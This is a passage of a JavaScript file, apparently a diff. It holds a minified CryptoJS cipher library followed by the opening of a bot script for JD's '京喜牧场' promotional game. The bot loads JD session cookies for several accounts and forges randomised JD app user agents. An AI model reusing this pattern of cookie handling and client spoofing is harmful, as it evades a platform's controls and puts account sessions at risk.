1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t +}); +const $ = new Env('京喜牧场'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//京喜APP的UA。领取助力任务奖励需要京喜APP的UA,环境变量:JX_USER_AGENT,有能力的可以填上自己的UA +$.inviteCodeList = []; +let cookiesArr = []; +let UA, token, UAInfo = {} +$.appId = 10028; +function oc(fn, defaultVal) {//optioanl chaining + try { + return fn() + } catch (e) { + return undefined + } +} +let cardinfo = { + "16": "小黄鸡", + "17": "辣子鸡", + "18": "猪肚鸡", + "19": "椰子鸡" +} +const petInfo = { + "4": { + name: "猪肚鸡", + price: 412 * 1e3, + weights: 2288.889 // 每个蛋的成本 + }, + "5": { + name: "椰子鸡", + price: 3355 * 1e2, + weights: 2795.833 + }, + "3": { + name: "辣子鸡", + price: 2975 * 1e2, + weights: 2975.0 + }, + "1": { + name: "小黄鸡", + price: 25 * 1e4, + weights: 3125.0 + }, +} +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata("CookieJD"), $.getdata("CookieJD2"), ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +!(async () => { + $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; + await requestAlgo(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + console.log('京喜牧场\n' + + '更新时间:2021-11-7\n' + + '活动入口:京喜APP-我的-京喜牧场\n' + + '温馨提示:请先手动完成【新手指导任务】再运行脚本') + for (let i = 0; i < cookiesArr.length; i++) { + $.index = i + 1; + $.cookie = cookiesArr[i]; + $.isLogin = true; + $.nickName = ''; + UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 